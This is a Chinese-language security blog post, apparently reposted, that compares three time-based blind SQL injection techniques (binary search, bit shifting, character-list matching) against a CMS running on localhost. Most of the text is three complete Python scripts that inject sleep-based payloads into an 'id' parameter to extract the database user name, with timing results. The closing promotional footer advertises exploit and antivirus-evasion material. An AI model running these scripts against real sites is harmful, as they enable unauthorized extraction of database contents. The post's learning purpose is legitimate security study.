SQL注入-失了智的盲注尝试(附盲注脚本)
2022-11-29 00:1:30 Author: Z2O安全攻防(查看原文) 阅读量:28 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

  • • 测试环境

  • • 二分の盲注

  • • 左移の盲注

  • • 小小の总结

  • • 匹配の盲注

这两天套娃网上的教程,实现了一下盲注脚本,在寻觅的过程中,看到一个使用MySQL位函数和运算符进行基于时间的高效SQL盲注,使用“右移”运算符(»),枚举从SQL查询返回值的二进制位

高效厚,高效吗?俺来试一试

测试环境是一个cms的sql注入漏洞,来源我就不说了,这里的sql注入就是没有过滤,但是是POST提交的方式,然后我改成了GET的方式,如果是POST的话,就是加一个data={}哈哈哈

这里木有加多线程进去,高速公路上比一比

二分法就是,把一个顺序的区间分为两半,取中间的数,目标大于中间的数就舍弃前半段,目标小于中间的数就舍弃后半段。我这里给的区间是30-150,我先按照我的理解,写了一下二分法盲注:

#二分法
import requests
import datetime
import time

headers={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/goods/1.html',
'Cookie': 'UM_distinctid=1720c8e9f960-0fd572df9b95ed-374c2c08-15f900-1720c8e9f9a7; CNZZDATA1277972876=1114558-1589348573-%7C1589953788; PHPSESSID=hp0i4j6to52gg338ven8c69k8k'
}

def blind(k,i):
    realurl = '''http://127.0.0.1/shop/tijiao.html'''
    payload = '''?guige=s&shuliang=1&id=1)and+if(ord(substr(user(),%d,1))>=%d,sleep(4),1)--''' % (k,i)
    url = realurl + payload
    time1 = datetime.datetime.now()
    r = requests.get(url=url,headers=headers)
    time2 = datetime.datetime.now()
    sec = (time2 - time1).seconds
    return sec

def user_name():
    name = ''
    for k in range(1,15):#长度
        mini=30
        maxi=150
        midi= mini+(maxi-mini)//2

        for j in range(1,8):
            if(blind(k,midi)<3):
                maxi = midi
                midi = mini+((midi-mini)//2)
            else:
                mini = midi
                midi = mini+((maxi-midi)//2)
        name += chr(midi)
        print('user_name:',name)
        
user_name()

用户名[email protected],用时241.9s

r的ascii码是114,变二进制是0111 0010,分别左移7位、6位看一下

mysql> select 114>>7;
+--------+
| 114>>7 |
+--------+
|      0 |
+--------+
1 row in set (0.00 sec)

mysql> select 114>>6;
+--------+
| 114>>6 |
+--------+
|      1 |
+--------+
1 row in set (0.00 sec)

字符串的第一位都是0,所以我们只需要核对后七位,也就是从左移6开始

然后按照我的理解,写了一下逐位左移的盲注,感觉写的好傻 啊,已经好久没写代码了,属于头一天写第二天就看不懂那种:

import requests
import datetime
import time

headers={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/goods/1.html',
'Cookie': 'UM_distinctid=1720c8e9f960-0fd572df9b95ed-374c2c08-15f900-1720c8e9f9a7; CNZZDATA1277972876=1114558-1589348573-%7C1589953788; PHPSESSID=hp0i4j6to52gg338ven8c69k8k'
}

def blind(k,i,j):
    realurl = '''http://127.0.0.1/shop/tijiao.html'''
    payload = '''?guige=s&shuliang=1&id=1)and+if((ascii((substr(user(),%d,1)))+>>+%d)=%d,sleep(4),1)--''' % (k,i,j)
    url = realurl + payload
    time1 = datetime.datetime.now()
    r = requests.get(url=url,headers=headers)
    time2 = datetime.datetime.now()
    sec = (time2 - time1).seconds
    return sec

def user_name():
    name = ''
    for k in range(1,15):
        j = 1
        for i in range(6,-1,-1):
            if((j%2)==0):
                j += 1
            time_blind=blind(k,i,j)
            if (time_blind>1):
                if(i == 0):
                    name += chr(j)
                    break
                else:
                    j = j * 2 + 1
            else:
                if(i == 0):
                    name += chr(j - 1)
                    break
                else:
                    j = (j - 1) * 2
        print('user_name:',name)

user_name()

用户名[email protected],用时247s(ˉ﹃ˉ)

🔥为了公平起见,两个延时都是sleep(4)

🔥二分241.9左移247用时差不多,因为二分法是每次除以2,二进制中左移其实也是2倍计算

🔥如果你确定盲注的目标的字符范围,其实有更快的方法,如下

先要有一个列表,这里我把我能用到的放了进去,数字,大小写字母,和一个@,然后逐个匹配,如果匹配到了就是他了

import requests
import datetime
import time

headers={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/goods/1.html',
'Cookie': 'UM_distinctid=1720c8e9f960-0fd572df9b95ed-374c2c08-15f900-1720c8e9f9a7; CNZZDATA1277972876=1114558-1589348573-%7C1589953788; PHPSESSID=hp0i4j6to52gg338ven8c69k8k'
}

def user_name():
    name = ''
    for i in range(1,15):
        for j in '[email protected]':
            realurl = '''http://127.0.0.1/shop/tijiao.html'''
            payload = '''?guige=s&shuliang=1&id=1)and+if(substr(user(),%d,1)='%s',sleep(4),1)--''' % (i,j)
            url = realurl + payload

            time1 = datetime.datetime.now()
            r = requests.get(url=url,headers=headers)
            time2 = datetime.datetime.now()

            sec = (time2 - time1).seconds
            if sec >= 3:
                name += j
                break
        print('user_name:',name)

user_name()

用户名[email protected],用时76.8s不香吗(。・∀・)ノ

ps:但如果你的列表里漏了一些特殊字符,那就漏了,所以还是二分和左移比较靠谱全面

原文:https://sueisok.github.io/blog/stupid-sqli-blind/#%E4%BA%8C%E5%88%86%E3%81%AE%E7%9B%B2%E6%B3%A8

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247490394&idx=1&sn=527b9b699f67ad193fd48af63ccdb627&chksm=cea8f01af9df790c582522d319b001e279aa4beae045ddcec3fca80c6733a82305b1e7cac8f4#rd
如有侵权请联系:admin#unsafe.sh